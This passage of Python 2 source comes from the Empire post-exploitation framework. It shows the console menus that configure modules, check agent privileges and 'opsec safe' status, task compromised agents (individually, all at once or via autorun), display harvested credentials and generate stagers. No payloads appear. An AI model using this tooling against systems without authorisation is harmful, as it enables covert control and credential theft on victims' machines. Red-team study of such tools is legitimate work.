        mline = line.partition(' ')[2]
        offs = len(mline) - len(text)
        return [s[offs:] for s in names if s.startswith(mline)]

class ModuleMenu(cmd.Cmd):
    """
    The main class used by Empire to drive the 'module' menu.
    """
    def __init__(self, mainMenu, moduleName, agent=None):
        cmd.Cmd.__init__(self)
        self.doc_header = 'Module Commands'

        self.mainMenu = mainMenu

        # get the current module/name
        self.moduleName = moduleName
        self.module = self.mainMenu.modules.modules[moduleName]

        # set the prompt text
        self.prompt = '(Empire: ' + helpers.color(self.moduleName, color="blue") + ') > '

        # if this menu is being called from an agent menu
        if agent:
            # resolve the agent sessionID to a name, if applicable
            agent = self.mainMenu.agents.get_agent_name(agent)
            self.module.options['Agent']['Value'] = agent

    # def preloop(self):
    #     traceback.print_stack()

    def validate_options(self):
        "Make sure all required module options are completed."

        sessionID = self.module.options['Agent']['Value']

        for option, values in self.module.options.iteritems():
            if values['Required'] and ((not values['Value']) or (values['Value'] == '')):
                print helpers.color("[!] Error: Required module option missing.")
                return False

        try:
            # if we're running this module for all agents, skip this validation
            if sessionID.lower() != "all" and sessionID.lower() != "autorun":
                modulePSVersion = int(self.module.info['MinPSVersion'])
                agentPSVersion = int(self.mainMenu.agents.get_ps_version(sessionID))
                # check if the agent/module PowerShell versions are compatible
                if modulePSVersion > agentPSVersion:
                    print helpers.color("[!] Error: module requires PS version %s but agent running PS version %s" % (modulePSVersion, agentPSVersion))
                    return False
        except Exception:
            print helpers.color("[!] Invalid module or agent PS version!")
            return False

        # check if the module needs admin privs
        if self.module.info['NeedsAdmin']:
            # if we're running this module for all agents, skip this validation
            if sessionID.lower() != "all" and sessionID.lower() != "autorun":
                if not self.mainMenu.agents.is_agent_elevated(sessionID):
                    print helpers.color("[!] Error: module needs to run in an elevated context.")
                    return False

        # if the module isn't opsec safe, prompt before running
        if not self.module.info['OpsecSafe']:
            try:
                choice = raw_input(helpers.color("[>] Module is not opsec safe, run? [y/N] ", "red"))
                if not (choice.lower() != "" and choice.lower()[0] == "y"):
                    return False
            except KeyboardInterrupt:
                print ""
                return False

        return True

    def emptyline(self):
        pass

    # print a nicely formatted help menu
    # stolen/adapted from recon-ng
    def print_topics(self, header, commands, cmdlen, maxcol):
        if commands:
            self.stdout.write("%s\n" % str(header))
            if self.ruler:
                self.stdout.write("%s\n" % str(self.ruler * len(header)))
            for command in commands:
                self.stdout.write("%s %s\n" % (command.ljust(17), getattr(self, 'do_' + command).__doc__))
            self.stdout.write("\n")

    def do_back(self, line):
        "Go back a menu."
        return True

    def do_agents(self, line):
        "Jump to the Agents menu."
        raise NavAgents()

    def do_listeners(self, line):
        "Jump to the listeners menu."
        raise NavListeners()

    def do_main(self, line):
        "Go back to the main menu."
        raise NavMain()

    def do_exit(self, line):
        "Exit Empire."
        raise KeyboardInterrupt

    def do_list(self, line):
        "Lists all active agents (or listeners)."

        if line.lower().startswith("listeners"):
            self.mainMenu.do_list("listeners " + str(" ".join(line.split(" ")[1:])))
        elif line.lower().startswith("agents"):
            self.mainMenu.do_list("agents " + str(" ".join(line.split(" ")[1:])))
        else:
            print helpers.color("[!] Please use 'list [agents/listeners] <modifier>'.")

    def do_reload(self, line):
        "Reload the current module."

        print "\n" + helpers.color("[*] Reloading module") + "\n"

        # reload the specific module
        self.mainMenu.modules.reload_module(self.moduleName)
        # regrab the reference
        self.module = self.mainMenu.modules.modules[self.moduleName]

    def do_info(self, line):
        "Display module options."
        messages.display_module(self.moduleName, self.module)

    def do_options(self, line):
        "Display module options."
        messages.display_module(self.moduleName, self.module)

    def do_set(self, line):
        "Set a module option."

        parts = line.split()

        try:
            option = parts[0]
            if option not in self.module.options:
                print helpers.color("[!] Invalid option specified.")

            elif len(parts) == 1:
                # "set OPTION"
                # check if we're setting a switch
                if self.module.options[option]['Description'].startswith("Switch."):
                    self.module.options[option]['Value'] = "True"
                else:
                    print helpers.color("[!] Please specify an option value.")
            else:
                # otherwise "set OPTION VALUE"
                option = parts[0]
                value = " ".join(parts[1:])

                if value == '""' or value == "''":
                    value = ""

                self.module.options[option]['Value'] = value
        except:
            print helpers.color("[!] Error in setting option, likely invalid option name.")

    def do_unset(self, line):
        "Unset a module option."

        option = line.split()[0]

        if line.lower() == "all":
            for option in self.module.options:
                self.module.options[option]['Value'] = ''
        if option not in self.module.options:
            print helpers.color("[!] Invalid option specified.")
        else:
            self.module.options[option]['Value'] = ''

    def do_usemodule(self, line):
        "Use an Empire PowerShell module."

        module = line.strip()

        if module not in self.mainMenu.modules.modules:
            print helpers.color("[!] Error: invalid module")
        else:
            module_menu = ModuleMenu(self.mainMenu, line, agent=self.module.options['Agent']['Value'])
            module_menu.cmdloop()

    def do_creds(self, line):
        "Display/return credentials from the database."
        self.mainMenu.do_creds(line)

    def do_execute(self, line):
        "Execute the given Empire module."

        if not self.validate_options():
            return

        agentName = self.module.options['Agent']['Value']
        moduleData = self.module.generate()

        if not moduleData or moduleData == "":
            print helpers.color("[!] Error: module produced an empty script")
            dispatcher.send("[!] Error: module produced an empty script", sender="Empire")
            return

        try:
            moduleData.decode('ascii')
        except UnicodeDecodeError:
            print helpers.color("[!] Error: module source contains non-ascii characters")
            return

        # strip all comments from the module
        moduleData = helpers.strip_powershell_comments(moduleData)

        taskCommand = ""

        # build the appropriate task command and module data blob
        if str(self.module.info['Background']).lower() == "true":
            # if this module should be run in the background
            extention = self.module.info['OutputExtension']
            if extention and extention != "":
                # if this module needs to save its file output to the server
                #   format- [15 chars of prefix][5 chars extension][data]
                saveFilePrefix = self.moduleName.split("/")[-1]
                moduleData = saveFilePrefix.rjust(15) + extention.rjust(5) + moduleData
                taskCommand = "TASK_CMD_JOB_SAVE"
            else:
                taskCommand = "TASK_CMD_JOB"
        else:
            # if this module is run in the foreground
            extention = self.module.info['OutputExtension']
            if self.module.info['OutputExtension'] and self.module.info['OutputExtension'] != "":
                # if this module needs to save its file output to the server
                #   format- [15 chars of prefix][5 chars extension][data]
                saveFilePrefix = self.moduleName.split("/")[-1][:15]
                moduleData = saveFilePrefix.rjust(15) + extention.rjust(5) + moduleData
                taskCommand = "TASK_CMD_WAIT_SAVE"
            else:
                taskCommand = "TASK_CMD_WAIT"

        # if we're running the module on all modules
        if agentName.lower() == "all":
            try:
                choice = raw_input(helpers.color("[>] Run module on all agents? [y/N] ", "red"))
                if choice.lower() != "" and choice.lower()[0] == "y":

                    # signal everyone with what we're doing
                    print helpers.color("[*] Tasking all agents to run " + self.moduleName)
                    dispatcher.send("[*] Tasking all agents to run " + self.moduleName, sender="Empire")

                    # actually task the agents
                    for agent in self.mainMenu.agents.get_agents():

                        sessionID = agent[1]

                        # set the agent's tasking in the cache
                        self.mainMenu.agents.add_agent_task(sessionID, taskCommand, moduleData)

                        # update the agent log
                        # dispatcher.send("[*] Tasked agent "+sessionID+" to run module " + self.moduleName, sender="Empire")
                        dispatcher.send("[*] Tasked agent %s to run module %s" % (sessionID, self.moduleName), sender="Empire")
                        msg = "Tasked agent to run module %s" % (self.moduleName)
                        self.mainMenu.agents.save_agent_log(sessionID, msg)

            except KeyboardInterrupt:
                print ""

        # set the script to be the global autorun
        elif agentName.lower() == "autorun":

            self.mainMenu.agents.set_autoruns(taskCommand, moduleData)
            dispatcher.send("[*] Set module %s to be global script autorun." % (self.moduleName), sender="Empire")

        else:
            if not self.mainMenu.agents.is_agent_present(agentName):
                print helpers.color("[!] Invalid agent name.")
            else:
                # set the agent's tasking in the cache
                self.mainMenu.agents.add_agent_task(agentName, taskCommand, moduleData)

                # update the agent log
                dispatcher.send("[*] Tasked agent %s to run module %s" % (agentName, self.moduleName), sender="Empire")
                msg = "Tasked agent to run module %s" % (self.moduleName)
                self.mainMenu.agents.save_agent_log(agentName, msg)

    def do_run(self, line):
        "Execute the given Empire module."
        self.do_execute(line)

    def do_interact(self, line):
        "Interact with a particular agent."

        name = line.strip()

        if name != "" and self.mainMenu.agents.is_agent_present(name):
            # resolve the passed name to a sessionID
            sessionID = self.mainMenu.agents.get_agent_id(name)

            agent_menu = AgentMenu(self.mainMenu, sessionID)
            agent_menu.cmdloop()
        else:
            print helpers.color("[!] Please enter a valid agent name")

    def complete_set(self, text, line, begidx, endidx):
        "Tab-complete a module option to set."

        options = self.module.options.keys()

        if line.split(" ")[1].lower() == "agent":
            # if we're tab-completing "agent", return the agent names
            agentNames = self.mainMenu.agents.get_agent_names() + ["all", "autorun"]
            end_line = " ".join(line.split(" ")[1:])

            mline = end_line.partition(' ')[2]
            offs = len(mline) - len(text)
            return [s[offs:] for s in agentNames if s.startswith(mline)]

        elif line.split(" ")[1].lower() == "listener":
            # if we're tab-completing a listener name, return all the names
            listenerNames = self.mainMenu.listeners.get_listener_names()
            end_line = " ".join(line.split(" ")[1:])

            mline = end_line.partition(' ')[2]
            offs = len(mline) - len(text)
            return [s[offs:] for s in listenerNames if s.startswith(mline)]

        elif line.split(" ")[1].lower().endswith("path"):
            return helpers.complete_path(text, line, arg=True)

        elif line.split(" ")[1].lower().endswith("file"):
            return helpers.complete_path(text, line, arg=True)

        elif line.split(" ")[1].lower().endswith("host"):
            return [helpers.lhost()]

        # otherwise we're tab-completing an option name
        mline = line.partition(' ')[2]
        offs = len(mline) - len(text)
        return [s[offs:] for s in options if s.startswith(mline)]

    def complete_unset(self, text, line, begidx, endidx):
        "Tab-complete a module option to unset."

        options = self.module.options.keys() + ["all"]

        mline = line.partition(' ')[2]
        offs = len(mline) - len(text)
        return [s[offs:] for s in options if s.startswith(mline)]

    def complete_usemodule(self, text, line, begidx, endidx):
        "Tab-complete an Empire PowerShell module path."
        return self.mainMenu.complete_usemodule(text, line, begidx, endidx)

    def complete_creds(self, text, line, begidx, endidx):
        "Tab-complete 'creds' commands."
        return self.mainMenu.complete_creds(text, line, begidx, endidx)

    def complete_interact(self, text, line, begidx, endidx):
        "Tab-complete an interact command"

        names = self.mainMenu.agents.get_agent_names()

        mline = line.partition(' ')[2]
        offs = len(mline) - len(text)
        return [s[offs:] for s in names if s.startswith(mline)]

class StagerMenu(cmd.Cmd):
    """
    The main class used by Empire to drive the 'stager' menu.
    """
    def __init__(self, mainMenu, stagerName, listener=None):
        cmd.Cmd.__init__(self)
        self.doc_header = 'Stager Menu'

        self.mainMenu = mainMenu

        # get the current stager name
        self.stagerName = stagerName
        self.stager = self.mainMenu.stagers.stagers[stagerName]

        # set the prompt text
        self.prompt = '(Empire: ' + helpers.color("stager/" + self.stagerName, color="blue") + ') > '

        # if this menu is being called from an listener menu
        if listener:
            # resolve the listener ID to a name, if applicable
            listener = self.mainMenu.listeners.get_listener(listener)
            self.stager.options['Listener']['Value'] = listener

    def validate_options(self):
        "Make sure all required stager options are completed."

        for option, values in self.stager.options.iteritems():
            if values['Required'] and ((not values['Value']) or (values['Value'] == '')):
                print helpers.color("[!] Error: Required stager option missing.")
                return False

        listenerName = self.stager.options['Listener']['Value']

        if not self.mainMenu.listeners.is_listener_valid(listenerName):
            print helpers.color("[!] Invalid listener ID or name.")
            return False

        return True

    def emptyline(self):
        pass

    # print a nicely formatted help menu
    # stolen/adapted from recon-ng
    def print_topics(self, header, commands, cmdlen, maxcol):
        if commands:
            self.stdout.write("%s\n" % str(header))
            if self.ruler:
                self.stdout.write("%s\n" % str(self.ruler * len(header)))
            for command in commands:
                self.stdout.write("%s %s\n" % (command.ljust(17), getattr(self, 'do_' + command).__doc__))
            self.stdout.write("\n")

    def do_back(self, line):
        "Go back a menu."
        return True

    def do_agents(self, line):
        "Jump to the Agents menu."
        raise NavAgents()

    def do_listeners(self, line):
        "Jump to the listeners menu."
        raise NavListeners()

    def do_main(self, line):
        "Go back to the main menu."
        raise NavMain()

    def do_exit(self, line):
        "Exit Empire."
        raise KeyboardInterrupt

    def do_list(self, line):
        "Lists all active agents (or listeners)."

        if line.lower().startswith("listeners"):
            self.mainMenu.do_list("listeners " + str(" ".join(line.split(" ")[1:])))
        elif line.lower().startswith("agents"):
            self.mainMenu.do_list("agents " + str(" ".join(line.split(" ")[1:])))
        else:
            print helpers.color("[!] Please use 'list [agents/listeners] <modifier>'.")

    def do_info(self, line):
        "Display stager options."
        messages.display_stager(self.stager)

    def do_options(self, line):
        "Display stager options."
        messages.display_stager(self.stager)

    def do_set(self, line):
        "Set a stager option."

        parts = line.split()

        try:
            option = parts[0]
            if option not in self.stager.options:
                print helpers.color("[!] Invalid option specified.")

            elif len(parts) == 1:
                # "set OPTION"
                # check if we're setting a switch
                if self.stager.options[option]['Description'].startswith("Switch."):
                    self.stager.options[option]['Value'] = "True"
                else:
                    print helpers.color("[!] Please specify an option value.")
            else:
                # otherwise "set OPTION VALUE"
                option = parts[0]
                value = " ".join(parts[1:])

                if value == '""' or value == "''":
                    value = ""

                self.stager.options[option]['Value'] = value
        except:
            print helpers.color("[!] Error in setting option, likely invalid option name.")

    def do_unset(self, line):
        "Unset a stager option."

        option = line.split()[0]

        if line.lower() == "all":
            for option in self.stager.options:
                self.stager.options[option]['Value'] = ''
        if option not in self.stager.options:
            print helpers.color("[!] Invalid option specified.")
        else:
            self.stager.options[option]['Value'] = ''

    def do_generate(self, line):
        "Generate/execute the given Empire stager."

        if not self.validate_options():
            return

        stagerOutput = self.stager.generate()

        savePath = ''
        if 'OutFile' in self.stager.options:
            savePath = self.stager.options['OutFile']['Value']

        if savePath != '':
            # make the base directory if it doesn't exist
            if not os.path.exists(os.path.dirname(savePath)) and os.path.dirname(savePath) != '':
                os.makedirs(os.path.dirname(savePath))

            # if we need to write binary output for a .dll
            if ".dll" in savePath:
                out_file = open(savePath, 'wb')
                out_file.write(bytearray(stagerOutput))
                out_file.close()
            else:
                # otherwise normal output
                out_file = open(savePath, 'w')
                out_file.write(stagerOutput)
                out_file.close()

            # if this is a bash script, make it executable
            if ".sh" in savePath:
                os.chmod(savePath, 777)

            print "\n" + helpers.color("[*] Stager output written out to: %s\n" % (savePath))

        else:
            print stagerOutput

    def do_execute(self, line):
        "Generate/execute the given Empire stager."
        self.do_generate(line)

    def do_interact(self, line):
        "Interact with a particular agent."

        name = line.strip()

        if name != "" and self.mainMenu.agents.is_agent_present(name):
            # resolve the passed name to a sessionID
            sessionID = self.mainMenu.agents.get_agent_id(name)

            agent_menu = AgentMenu(self.mainMenu, sessionID)
            agent_menu.cmdloop()
        else:
            print helpers.color("[!] Please enter a valid agent name")

    def complete_set(self, text, line, begidx, endidx):
        "Tab-complete a stager option to set."

        options = self.stager.options.keys()

        if line.split(" ")[1].lower() == "listener":
            # if we're tab-completing a listener name, return all the names
            listenerNames = self.mainMenu.listeners.get_listener_names()
            end_line = " ".join(line.split(" ")[1:])

            mline = end_line.partition(' ')[2]
            offs = len(mline) - len(text)
            return [s[offs:] for s in listenerNames if s.startswith(mline)]

        elif line.split(" ")[1].lower().endswith("path"):
            # tab-complete any stager option that ends with 'path'
            return helpers.complete_path(text, line, arg=True)

        # otherwise we're tab-completing an option name
        mline = line.partition(' ')[2]
        offs = len(mline) - len(text)
        return [s[offs:] for s in options if s.startswith(mline)]

    def complete_unset(self, text, line, begidx, endidx):
        "Tab-complete a stager option to unset."

        options = self.stager.options.keys() + ["all"]

        mline = line.partition(' ')[2]
        offs = len(mline) - len(text)
        return [s[offs:] for s in options if s.startswith(mline)]

    def complete_interact(self, text, line, begidx, endidx):
        "Tab-complete an interact command"

        names = self.mainMenu.agents.get_agent_names()

        mline = line.partition(' ')[2]
        offs = len(mline) - len(text)
        return [s[offs:] for s in names if s.startswith(mline)]

redpajama_set_name: RedPajamaGithub